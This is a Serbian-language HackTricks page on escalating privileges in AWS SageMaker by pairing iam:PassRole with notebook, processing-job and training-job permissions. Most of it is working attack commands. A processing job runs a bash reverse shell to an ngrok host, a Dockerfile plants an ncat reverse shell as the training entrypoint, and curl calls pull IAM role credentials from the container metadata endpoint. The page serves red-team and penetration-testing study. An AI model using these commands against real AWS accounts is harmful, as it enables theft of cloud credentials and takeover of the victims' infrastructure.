AWS - Sagemaker Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Počnite kreiranje beležnice sa IAM ulogom koja ima pristup pridruženom:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Odgovor treba da sadrži polje NotebookInstanceArn, koje će sadržati ARN novo kreiranog primerka beležnice. Zatim možemo koristiti create-presigned-notebook-instance-url API da generišemo URL koji možemo koristiti da pristupimo primerku beležnice kada bude spreman:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Pristupite URL-u preko pregledača i kliknite na "Otvori JupyterLab" u gornjem desnom uglu, zatim se spustite do kartice "Launcher" i pod sekcijom "Other" kliknite dugme "Terminal".

Sada je moguće pristupiti metapodacima za pristupne podatke IAM Role.

Potencijalni uticaj: Povećanje privilegija na određenu sagemaker uslugu.

sagemaker:CreatePresignedNotebookInstanceUrl

Ako već postoje Jupyter beleške koje se izvršavaju na njemu i možete ih izlistati pomoću sagemaker:ListNotebookInstances (ili ih otkriti na bilo koji drugi način), možete generisati URL za njih, pristupiti im i ukrasti pristupne podatke kao što je naznačeno u prethodnoj tehnici.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je pridružena.

sagemaker:CreateProcessingJob,iam:PassRole

Napadač sa ovim dozvolama može naterati sagemaker da izvrši processingjob sa sagemaker ulogom koja je pridružena. Napadač može odrediti definiciju kontejnera koji će se pokrenuti na instanci AWS upravljanog ECS naloga, i ukrasti akreditive pridružene IAM ulozi.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je specificirana.

sagemaker:CreateTrainingJob, iam:PassRole

Napadač sa ovim dozvolama će biti u mogućnosti da kreira trening posao, pokrećući proizvoljan kontejner na njemu sa pridruženom ulogom. Stoga, napadač će biti u mogućnosti da ukrade akreditive uloge.

Ovaj scenario je teže iskoristiti nego prethodni jer morate generisati Docker sliku koja će slati rev šel ili akreditive direktno napadaču (ne možete navesti početnu komandu u konfiguraciji trening posla).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je specificirana.

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Napadač sa ovim dozvolama će (potencijalno) biti u mogućnosti da kreira **hyperparameter training job**, **pokrene proizvoljan kontejner** na njemu sa **pridruženom ulogom**.\
Nisam iskoristio ovo zbog nedostatka vremena, ali izgleda slično kao i prethodni napadi, slobodno pošaljite PR sa detaljima o eksploataciji.

# Reference
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Drugi načini da podržite HackTricks:

* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

</details>

Last updated